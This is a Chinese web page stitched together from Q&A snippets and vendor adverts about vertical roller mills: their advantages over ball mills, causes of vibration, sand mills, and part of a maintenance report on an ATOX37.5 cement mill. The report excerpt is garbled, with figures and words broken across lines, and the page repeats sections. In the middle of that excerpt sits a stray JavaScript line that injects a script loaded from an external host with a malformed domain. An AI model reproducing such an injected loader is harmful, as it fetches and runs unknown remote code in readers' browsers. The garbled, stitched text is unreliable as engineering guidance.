立式矿磨机磨盘

❶ 立式磨的优势有哪些

立磨设备成功助力电力、冶金、水泥、化工、非金属矿等众多行业创造了可观的利润和市场价值，也因为它优异的产品优势而成为粉磨领域里的主流设备。
1、性能可靠
新型磨辊密封装置，密封性能更可靠，磨辊限位装置，有效保障因断料而产生的剧烈运动。
2、单机产能大，能耗更节省，和球磨机比起，能耗低40-50%。
3、清洁环保
整个系统震动小、噪音低，系统整体密封，全负压运行，是新型节能降耗新工艺。
4、自动化操作
PLC全自动控制系统，远程控制，操作更简便。
5、成品质量优
成品颗粒形态好，粒度分布窄、流动性好，白度和纯净度高，可以提升粉体市场竞争力。
6、土建费用低
整机系统设备少，结构布局紧凑，占地面积小，跟球磨机比起来，节约50%，并且可以露天布置，土建费用低。
7、易维护
磨辊可用液压装置翻出机外，更换辊套衬板及磨机检修空间很大，磨辊、磨盘衬板采用专用材质打造而成，整机使用寿命更长。

❷ 球磨机和立磨机有什么区别

立磨主要适用于对中、低硬度，莫氏硬度6级的非易燃易爆的脆性物料的超细粉加工。球磨机是物料被破碎之后，再进行粉碎的关键设备。立式磨属于“料床粉碎”的粉磨设备，与“单颗粒粉碎”的球磨机相比较其中差异很大。选择一款好的机器十分重要。作为国内矿山破碎、制砂、工业磨粉行业的领军者，河南黎明重工的产品完全达到ISO9001:2000国际质量认证体系标准，其销售网络不仅遍布中国多个省市，并且覆盖全球130多个国家和地区。更多问题请咨询官网客服！

❸ 矿渣立磨磨机震动大是怎么回事

矿渣立磨磨机震动大原因基本可归纳为三种：
一、物料性质的变化对振动的影响
1、物料的粒度
立磨生产过程中形成的料层是有一定颗粒级配的，所以它对原料的粒度是有一定范围要求的，粒度过大或过小都会导致级配平衡的破坏，造成料层韧性和刚性的消弱，是非常有害的。
(1)当粒度过大时，使得一次研磨成功率下降，增加了物料循环的次数，造成风环上方不符合细度要求的“中等粒度”的物料明显减弱。这种情况又影响了符合细度要求的颗粒顺利通过，从而引发恶性循环。同时，随着回粉量的增多，料层上粉状物料比配增加，原有的级配平衡被打破，料层的稳定性变差了，而振动就会加大。这种情况常见于石灰石换堆前后，由于堆头、堆尾大颗粒物料过多而会引起立磨系统的变化。在操作上可进行适当的减料，以稳定压差和料层。
(2)当物料粒度过小时，甚至粉状物料过多时，由于细颗粒附着力差，流动性好，不易形成有效的料层，磨辊不易有效地“啃住”物料进行正常的碾压，容易引发磨辊与磨盘的相对滑动，导致立磨剧烈的振动。而大量粉状物料的存在，又会使粉尘浓度增大，压差剧增，通风阻力增大，破坏了气流的正常运行轨迹，使得气体的提升能力减弱，若不及时大幅度减料，进行必要的调整，很快便会导致立磨振停。严重时一降辊就会引起剧烈振动，如果大量的粉状物料是突然入磨的时候，立磨会一下子突然振停，连调整的时间都没有，所以这种情况是比较难以控制的。当发现物料过细时，尤其是压差已明显上升时，应及时大幅减料，降研磨压力，降低出口湿度，加大喷水量，适当降低选粉机转速，操作时以保证料层的稳定和压差的稳定为中心，当有一定料层后在逐步加大研磨压力。
(3)在均匀的颗粒中夹杂有大块物料时，也会引发磨辊的起伏跳动。
2、物料的易磨性
其实，在立磨的选型设计中就已经考虑到物料的易磨性了，一般情况下，物料易磨性差、腐蚀性也不好时，立磨的能力就会减小，只能被迫减料运行，否则就会引起立磨的振动，造成运行的不稳定。所以说，物料易磨性的变化对于立磨运行和考核是非常重要的指标。
一般情况下，应该对物料的易磨性进行定期的检测，为立磨的运转和供料部门的采购、开采提供一定的依据。
物料性质的变化对立磨的影响远不止这些，物料性质的变化会引起衬板的过度磨损，加快衬板的磨损进度，为保证产量被迫加大研磨压力会对衬板产生更大的冲击和损坏;衬板的过度磨损反过来又会引起磨机的振动，所以物料供应部门对物料性质的变更应考虑到对立磨的影响。成本的控制应该综合考虑。
二、设备故障对振动的影响
1、新换衬板
由于新换的立磨磨辊、磨盘衬板比较平，不易稳定和“吸住”物料，会导致一定的振动，在操作中可适当提高料层厚度，加大喷水，另外可加高挡料圈。当衬板表面经过一段时间运转后，就会逐渐适应物料的性质，平稳运行了。
2、衬板的过度磨损
由于磨盘的离心力作用，使得磨盘上的大块物料集中在磨盘外沿区域，使得在运转过程中，磨辊和磨盘衬板外侧磨损比内侧要大。这种不平衡的磨损在料层波动大或料层薄时，可能引起磨辊衬板内侧和磨盘衬板内侧的硬冲击，造成振动。当磨辊衬板掉头后，由于磨损部位不可能完全吻合，也可能会引起这种振动。
3、 钮矩杆和“牛筋”的损坏。
钮矩杆和“牛筋”的作用是防止磨辊在磨盘上径向的移位，当它们损坏后，导致磨辊的径向摆动过大，破坏正常的“吸料”角度，严重时可引起磨辊与磨盘的相对滑动，引起振动。同时，由于它们的损坏，可能导致中心三角架的偏心，使上面2中所述的振动加剧。
4、 液压系统有故障。
液压系统是立磨中最为重要的设备系统之一，磨辊对物料所施加的巨大的研磨力就是由它提供的。但是由于液压系统故障所引起的拉伸杆动作不一致，降辊和升辊时三个辊不同步等都可能引起磨机振动。
5、 回粉重锤阀故障。
回粉重锤阀由于过度磨损或机械故障引起密封不严时，会有一部分风从垂锤阀漏出，从而使向上带料的风量减少，影响物料的正常提升;另一方面，漏入垂锤阀的风会使选粉机中气流紊乱，使大量粉状物料积写在锥型斗中，而一旦积累的物料突然下落，那一定是大量的粉状物料，这些粉状物料落在磨盘上必然会引起大的振动，而且振动相对有规律。
6、 蓄能器压力不足或氮气囊破损。
蓄能器中氮气囊的预充气体压力应该是正常研磨压力的60%-70%，当蓄能器压力不足或氮气囊破损时，就会失去缓冲作用，引起磨辊的硬性落下，容易导致大幅度振动。
7、 喷水系统。
喷水系统对于稳定料层起着十分重要的作用，尤其在粉状物料多的情况下，其作用更为明显。一般情况下，无论喂料多少，都会启动喷水装置，以加大物料的韧性和刚性。当三个喷水管中有一个堵住或漏水就会导致料层的不均衡，引起磨辊的起伏，导致振动。另外，如果在运转过程中喷水系统一旦停下，磨内料层就会失去韧性和刚性，导致立磨振动。
8、 挡料环。
当物料性质和立式磨机工作参数稳定时，挡料环的高度也就基本决定了料层的最大厚度。当挡料环过低时，作为缓冲垫的料层也会变薄，缓冲作用减弱，振动加剧。
9、 刮料板磨损、导流叶片不均衡磨损、挡风板的不均衡损坏均能引起磨风环和磨内风量的不均匀分配，导致磨盘上的物料厚薄不一，引起相应的振动。
三、系统问题和工艺参数对振动的影响。
1、磨内进异物。
金属异物因其质地坚硬，所以当磨辊对其研磨时，对衬板的冲击和损坏是比较严重的。同时，磨辊也会产生大的跳动，引起突然性的振动，虽然入磨物料经过了几道除铁装置，但磨内脱落的防护装置，衬板掉的大块仍会引起大的振动。
2、皮带秤断料、失控、波动大。
由于季节和物料的变化，皮带秤会出现断料和卡料的现象，尤其是石灰石和砂岩断料时会引起料层的突然变薄，缓冲作用减弱，同时研磨压力仍然比较大，从而引发振动。
当皮带秤失控和飞车时，入磨物料异常增多，造成料层过厚，研磨作用降低。同时由于物料多，压差变大，通风不畅，当达到一定极限后，会导致立磨机突然大幅度振动。而当喂料波动大时，会造成料层的波浪形式，磨辊在磨盘上起伏不定，引起振动。
3、系统风量和风压的突然变化。
当投入和撤出SP炉，窑投料、止料、塌料时均会引起系统风量、风压的大幅波动，使磨内气流正常的运动轨迹发生变化，破坏了建立的系统平衡，引发振动。
4、料层过薄或过厚。
料层其实是夹在磨辊和磨盘之间的缓冲垫，正常情况下，磨辊、磨盘对物料的挤压是料层内物料的挤压。当料层过薄时，它的缓冲作用就会减弱，振动就会加大。而当料层过厚时，缓冲作用过大，导致研磨能力下降，生产能力降低，压差会逐渐上升，当达到一定极限时，振动会突然加大。所以在正常运转中，应该密切监控料层厚度，及时调整参数，使料层稳定在一定的范围内。
5、磨内温度过高。
磨内温度高会导致料层的韧性和刚性的破坏，尤其温度过高时，物料变的非常松散，不但料层变薄，而且不易被磨辊“吸住”进行碾压，引起剧烈的振动。一般情况下，可通过调节磨挡板及喷水量进行相应的控制。
6、系统风量、料量，研磨压力不匹配。
立磨系统中风量、喂料量、研磨压力，应是一个平衡的整体，在正常运转过程中改变一个参数，其它参数也应做相应的调节。如果参数不匹配，也会引发振动的发生。
比如系统风量过低时，引起吐渣过多，气体不能将中等颗粒的物料反吹到磨盘上重新进行研磨，造成料层过薄;同时过小的风量不能将物料顺利的提升，而是悬浮在磨胎内，增加了通风的阻力。恶性循环不久，即可引起大幅度振动。

❹ 立式磨生产中出现料层厚度增大、磨盘压差增大、主电机电流增大、磨机振动速度增大，是什么原因如何处理

料层厚度大，压差大，电流大，振动大，原因：

选粉机风速过低， 导致大小颗粒的粉末全部被选走，无回料，料层加厚，
磨辊无法完全碾磨物料，磨盘压差增大，
由于物料无法完全被碾磨，磨辊压力不足，从而得知主电机电流升高，
物料无法完全碾磨，内有些过粗颗粒，磨机振动速度增大。

语音组织的不怎么好，
还有 楼上说的 该修磨辊了, 应该是所谓的 堆焊 吧？
也是一个原因。。还有些一下想不起来了，希望对你又帮助。

❺ 球磨机和立磨机有什么区别

立磨主要适用于对中、低硬度，莫氏硬度6级的非易燃易爆的脆性物料的超细粉加工。球磨机是物料被破碎之后，再进行粉碎的关键设备。立式磨属于“料床粉碎”的粉磨设备，与“单颗粒粉碎”的球磨机相比较其中差异很大。
球磨机能耗利用率较低，目前有被立式磨粉机、辊压机等设备替代的趋势，而且球磨机加工没有立磨机环保，占地面积也比立磨大出很多。

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❻ 立式砂磨机

立式砂磨机又称珠磨机，主要由机体、主传动、分散器、送料泵、无极变速器、冷却系统、电器控制器等组成。该砂磨机是通过送料泵将经过预分散、湿润处理的浆液由研磨缸下方往上送进研磨缸内，研磨珠比重较重会往下掉，使原料在具有压力的研磨缸内产生上下对流，原料在研磨珠间隙中经加压及高速旋转交亘冲击中，产生乳化、分散、搓揉、研磨等功能。立式砂磨机设备的研磨介质一般分为玻璃珠、硅酸锆珠、氧化锆珠等。

立式砂磨机特点
其砂磨机原料由下往上压送，由上方出料，所有送入研磨缸内的原料能百分之百经过完全研磨，能达到完整的研磨效果；
物料在全密闭的研磨缸内运转研磨，没有溶剂挥发污染空气，保证了工作环境；
立式砂磨机不占空间，操作十分方便；
适用于各种粘度的物料砂磨分散，生产效率高，分散性好；
本砂磨机采用全隔爆设计，适用于易燃易爆环境生产；
具有清理换色容易，操作简便、运转平稳，特别适用于连续砂磨作业。

立式砂磨机适用范围
立式砂磨机主要针对液固物料的湿式砂磨分散，但对与纯粉体物料砂磨分散无效，其广泛应用于油漆涂料、颜料、染料、油墨、化妆品原料、日化、食品、药品、农药等行业。

立式砂磨机定制分类
我成都锐驰生产的立式砂磨机根据材料的不同可定制不锈钢立式砂磨机、碳钢砂磨机；对于研磨盘材料可以选择不锈钢、锰钢以及合金钢三种。
成都市新都区新都工业东区高东路1120号

❼ 立式磨与卧式球磨机相比哪个更好

立式球磨机体为一焊接筒体，内壁附有保护衬里、筒体上开有能安装整个螺旋搅拌的的大门，便于搅拌螺旋的维护和对搅拌介质的更换。
搅拌螺旋一般有螺旋体、螺旋体上的抗磨衬面及底边螺旋叶片组成；有些搅拌螺旋也可用耐磨材料整体制造或将抗磨材料焊接螺旋体上。
驱动装置包括电动机、减速机、搅拌螺旋支承系统等。对有特殊要求的立式磨还包括辅住启动系统等。
塔内介质包括粉碎介质和粉碎产品输送介质。粉碎介质一般为耐磨钢球，球径较卧式球磨机用球小；也可以是玻璃球，陶瓷球。对于有特殊纯度要求的使用场合，粉碎介质还可以是较被粉碎物料度尺寸稍大的粉碎原料。粉碎产品输送介质有干式和湿式之分，因此立式磨分为干式立式磨和湿式立式磨。干式立式磨内输送介质一般陶粒回转窑为空气，对易氧化的物料可采用保护气体。湿式立式磨内一般为水，也可以是油或者其他液体。双辊破碎机，金属粉末烘干机，制砂机生产厂家
立式球磨机运转时，粉碎介质和物料在螺旋搅拌运转过程中受到重力、离心力、摩擦力的多重作用，在运动方式上保持有序循环运动，物料、介质之间整体上受力平衡，在搅拌螺旋内为小于提升速度的螺旋式上升，在内衬和螺旋外缘为螺旋式下降。然而物料与物料，物料与介质之间则受力并不均匀，造成物料被红星挤压，研磨以及物料时间的受力折断，剪切，劈碎等作用。合格物料随输送介质上升溢流而出，而且合格物料总是较未合格物料更早的到达出料口，由此实现分级作用。
立式球磨机的转速低，且机体内部件不相对运动以及物料和介质有序的运行使得球与球，球与衬里和搅拌螺旋之间的碰撞很少，能够有效减少磨耗，另一方面，机内物料和介质整体受力平衡，使得支撑系统受力小，轴承能耗也小。然而立式球磨机的磨矿效率却并不小，这是因为介质与物料的充实度很高，由此看，立式球磨机的用途更广泛。
哪家陶粒机械好
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❽ 立式磨粉机加工矿石上有什么优势

立式磨粉机是在广泛采用国内外先进技术的基础上，结合多年的各种磨机生立式磨粉机产经验，设计开发的先进粉磨设备。是一种集破碎、干燥、粉磨、分级输送于一体的磨粉行业理想设备。可广泛应用于水泥、电力、冶金、化工、非金属矿等行业。用于将块状、颗粒状及粉状原料磨成所要求的粉状物料。
立式磨粉机加工矿石上的优势：
投资费用低
由于集破碎、干燥、粉磨、分级输送于一体，系统简单，布局紧凑，占地面积约为球磨系统的50%，而且可露天布置，因此能大量降低投资费用。

运行成本低
⑴磨粉效率高：采用磨辊在磨盘上直接碾压磨碎物料，能耗低，和球磨系统相比节约能耗30%～40%。
⑵磨损少：由于工作中磨辊并不与磨盘直接接触，且磨辊与衬板采用优质材料制作，因此使用寿命长，磨损少。

烘干能力强
由于热风在磨内直接与物料接触，烘干能力强，节约能源，通过调节热风温度，能满足不同湿度物料要求。

操作简便
⑴装备有自动控制系统，可实现远程控制，操作简便。
⑵装备有防止辊套和磨盘衬板直接接触的装置，避免了破坏性冲击和剧烈震动。

产品质量稳定
由于物料在磨内停留时间短，易于检测和控制产品粒度及化学成分，减少重复碾磨，稳定产品质量。

维修方便
通过检修油缸，翻转动臂，更换辊套、衬板方便快捷，减少停机损失。

环保
震动小，噪音低，且设备整体密封，系统在负压下工作，无粉尘外溢，环境清洁，满足国家环保要求。

❾ 立式辊磨机磨盘的料层厚度在运行过程中是怎样测定的

立磨与球磨机相比，具有很多重要的突出优势，如粉磨效率高、工艺流程简单、占地面积
小、同时集烘干、粉磨、选粉为一体等优点被越来越广泛地应用于新型干法水泥生产线，
是
大型新型干法水泥生产线较为理想、
有效的粉磨设备，
据统计在已建和新建的新型干法生产
线中，原煤和生料粉磨采用立磨的约占
90%
以上。如何进行精细化管理、优化工艺参数、
稳定运行、
提高产量、降低能耗、提高运转率、不断提高经济效益是立磨维护和管理的中心
问题。

甘肃永登祁连山水泥有限公司生料制备系统采用丹麦史密斯
（
FLS
）
公司提供的
ATOX37.5
型立磨。
该磨自投产运行以来，
实际运转情况并不理想，
但在使用过程中我们不断地探索和
改进，
不断优化操作方案和实施精细化管理，
解决了自投入运行以来出现的各类问题，
使系
统运行日趋完善和稳定，运转率高达
90%
以上。现从设备方面和操作方面进行介绍。

1.1
设备方面

1.1
中心支架偏差的调整

磨辊位置调整的目的是为了使磨辊和中心支架组合中心位于磨盘中心。由于长期的磨损
和振动，
导致各个连接部位间隙变大，
扭力杆缓冲垫老化和硬化而失去缓冲作用，
受冲击厚
度变薄（原来每块厚
125mm
，现在只有
120mm
）
,
使磨辊的活动量变大，磨辊位置中心产生
偏移
（如果支架中心偏移较大，
可以从磨辊空气密封的间隙看出来，
两侧空气密封间隙会不
一样大）
；同时由于振动和磨损使扭力杆和拉伸杆位置发生偏移，不仅使扭力杆失去保护作
用，
而且会对拉伸杆形成扭弯的作用，
对拉伸杆产生扭矩，
这是造成拉伸杆及螺栓频繁断裂
的原因。检查磨辊位置时，必须把磨辊放在磨盘上，并且不施加任何研磨压力，减速机润滑
站处于正常的工作状态，
通过人工转动减速机和电机之间的连轴器来转动磨盘。
通过人力转
动磨盘一周后，测量磨辊衬板端部卡块到磨盘挡料圈边缘的距离，差值在
±
5mm
以内，可以
认为磨辊的位置正确，否则需要进行调整，直到调整到位置正确为止。
调整实例：
第一次测
量的数据见表

1

依据三角函数推导出计算公式，算出调整量；

Δa=0

Δb=
-(2Yc-Yb-Ya
）
/1.732=-(2×
114-121-90.6)/1.732=-9.4

Δc=+(2Yb
-Yc-Ya)/1.732=+(2×
121-114-90.6)/1.732=21

Ya:1#
磨辊辊衬板端部卡快与挡料圈之间的平均值

Yb
：
2
＃磨辊辊衬板端部卡快与挡料圈之间的平均值

Yc
：
3
＃磨辊辊衬板端部卡快与挡料圈之间的平均值

Δa
：
1
＃磨辊的缓冲块支座加垫片的厚度

Δb
：
2
＃磨辊的缓冲块支座加垫片的厚度

Δc
：
3
＃磨辊的缓冲块支座加垫片的厚度

理论上在任何两个磨辊的缓冲块支座加钢板，都可以调整磨辊的位置，上面的计算是
1
＃辊不动，
2
＃辊减
9.4mm
，
3
＃辊加
21mm
；在实际操作中，
1
＃辊不动，
2
＃辊减
10mm
，
3
＃辊加
20mm
。由于立磨的关节轴承和缓冲垫的间隙较大，每次测量数据差别较大，通过
更换轴承和缓冲垫，
不断对中心进行调整，
先后对中心的调整进行过六次。
最后一次调整完
的数据见表
2
。

调整后支架中心的偏移量为
3.5mm
，满足给定要求。

1.2
张紧液压系统的维护

液压系统是立磨中最为重要的设备系统之一，其运行可靠性直接影响磨机的正常运行，
磨辊对物料所施加巨大的研磨压力就是通过液压系统提供的，
但是液压系统故障所引起的拉
伸杆动作不一致，
落辊和抬辊时三个辊不同步可引起磨机巨大的振动。
若蓄能器压力不足或
氮气囊及单向阀破损，
磨辊就会失去缓冲作用，
因此液压系统对立磨的稳定运行起到关键的
作用。

（
1
）液压缸及油路的密封和检查。

甘肃永登祁连山水泥有限公司立磨投产初期，由于液压缸顶部落料，导致细颗粒物料
夹到液压缸与活塞杆之间，
活塞杆表面镀铬层因磨损产生纵向拉痕，
导致油封损坏，
造成漏
油现象。
同时由于蓄能器单向阀的阀柄断裂，
螺栓和垫圈进入液压缸内，
导致缸筒内产生纵
向拉痕，活塞环也被拉伤，利用检修机会更换后送往专业厂家进行喷镀处理，现运行正常。

液压系统内液压油对清洁度要求很高，为了保持液压油的干净，在缸体检查、管路清
洗、更换氮气囊、液压油时周围环境一定要干净清洁，以防微颗粒物体带入液压油中，
造成
缸体划伤、
氮气囊破损。
为了防止细颗粒物料进入缸体，
可在外部做一个软连接护套加以保
护。

（
2
）蓄能器的检查维护。

立磨磨辊的运动使油从执行器进入油缸，蓄能器气囊里氮气的工作如同气体弹簧，压
力的微小变化将影响油的流量，
这意味着大量的氮气相当于大的校正压力，
将引起弹性缓冲，
蓄能器必须校正合适的压力，蓄能器中氮气囊的压力为正常研磨压力的
50
％－
70
％，甘肃

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

永登祁连山水泥有限公司设定研磨压力在
100
－
115mbar
之间，
故氮气囊的充气压力为
55
－
60mbar
之间。对蓄能器要定期进行检查，如有破损或压力偏低要查找原因，及时更换和补
充。
检查中如果发现蓄能器的温度较高，
并且蓄能器的底部伴有敲击声，
这时蓄能器的单向
阀可能已损坏，
易损伤氮气囊，
蓄能器将起不到缓冲减震的作用，
不能吸收由于磨床料层厚
度变化对液压系统的冲击，
容易造成拉伸杆及螺栓断裂。
安装时在氮气囊外壁和壳体内壁要
涂抹液压油，以减轻氮气囊与壳体内壁的摩擦，保护氮气囊。
在正常生产过程中，
规定每周
对蓄能器的氮气进行一次检查。

（
3
）控制阀的调节。

液压站系统压力的平衡，
也就是给定压力与反馈压力的平衡是靠液压阀来调整，
在液压
系统控制阀调节前首先要对液压系统排气，
开启液压泵，
使液压油路系统充满液压油，
保持
磨辊升到最高时，检测表压，如果表压高于选择压力，逆时针调整控制阀的调节螺栓，
反之
亦然。反复调节三次，表压一致，调节过程才算完成。

1.3
磨辊润滑系统的维护

ATOX37.5
立磨的磨辊采用稀油循环润滑系统，每个磨辊都有各自的供油管、回油管和
平衡管。
磨辊回油管真空度决定了磨辊腔内的油位，
为了保持磨辊内的油位相对稳定，
真空
度压力的调整一定要慎重，
它直接关系到磨辊轴承的润滑状态。
油压过高，
磨辊内油位上升、
油量过高，易造成磨辊漏油，甚至损坏油封；油压过低，磨辊内油量偏低或欠缺，润滑不足
易损伤磨辊轴承。一般真空度的调整范围在
-0.10
～
-0.35bar
之间。并且要定期为磨辊密封圈
添加润滑脂，一般添加周期为一个月。

1.4
磨辊和磨盘衬板磨损更换周期的掌握

由于磨盘的转动，
物料受到离心力的作用，
大块物料集中在磨盘外边区域，
在生产过程
中，
磨辊和磨盘衬板外侧磨损较大。
加上在生产低碱生料时，
硅质板岩掺加量较大，
硬度高，
易磨性差。
加速了衬板的磨损，
有时出现掉块现象，
这种不平衡的磨损在料层变化大或料层
薄时，将引起磨辊和磨盘内侧的冲击，产生振动。
2
＃立磨在更换新衬板时我们实测了旧衬
板的磨损量，如图
1
。

通过对旧衬板进行测量，我们发现，这一沟状磨损处正好是立磨喂料的落料点，磨辊、
磨盘衬板产生不均匀磨损的原因就在于此，
所以我们将立磨的入磨溜子延长
50mm
，
以便使
下料点向磨盘内侧移
100mm
，通过磨盘的旋转，物料在离心力的作用下更加分散，加宽了
物料的研磨区，使磨辊衬板的研磨区变宽，磨辊、磨盘衬板均匀磨损，延长了使用寿命。

磨辊衬板最大磨损量达到
40mm
－
50mm
左右应考虑翻面，
翻面后最大磨损量达到
50mm

❿ 立式磨粉机和摆式磨粉机区别

1.立式磨粉机（立磨）是一种集破碎、干燥、粉磨、分级输送于一体的制粉设备，主要结构由分离器、磨辊装置、磨盘装置、加压装置、减速机、电动机、壳体等部分组成 。
立式磨粉机的特点；运行成本低；建设费用低；运转容易可靠；烘干能力强，立式磨采用气体输送物料，在碾磨水分较大的物料时可控制进风温度，使产品达到最终水份，在立磨内可烘干水分高达12~15%的物料，即使是烘干球磨，也只能烘干水份为3~4%的物料。

微粉磨粉机是一种立式磨粉机，简称微粉磨、微粉机。微粉磨是高效磨，在细度及电动机功率相同情况下，微粉磨磨粉机比其它制粉机、微粉磨的产量高一倍以上，是目前市场最高效的细粉类的制粉设备。
2.摆式磨粉机又称悬辊磨或雷蒙磨。摆式磨粉机是一种通用性较强的制粉设备，就要有干法连续制粉，粒度分布集中、细度连续可调、结构紧凑等特点。摆式磨粉机成品粒度按不同要求可在0.125-0.044mm( 相当于120-325目)范围内调节。
摆式磨粉机与立式磨粉机虽然同为研磨机，但是摆是磨粉机占地面积较小，易于调节，给料均匀，体积小重量轻，省油省电，使用维护方便。
摆式磨粉机在使用过程当中，应有固定人员负责看管，操作人员必须具备一定的技术水平。磨粉机在安装前对操作人员必须进行必要的技术培训，使之了解磨粉机的原理性能，熟悉操作规程.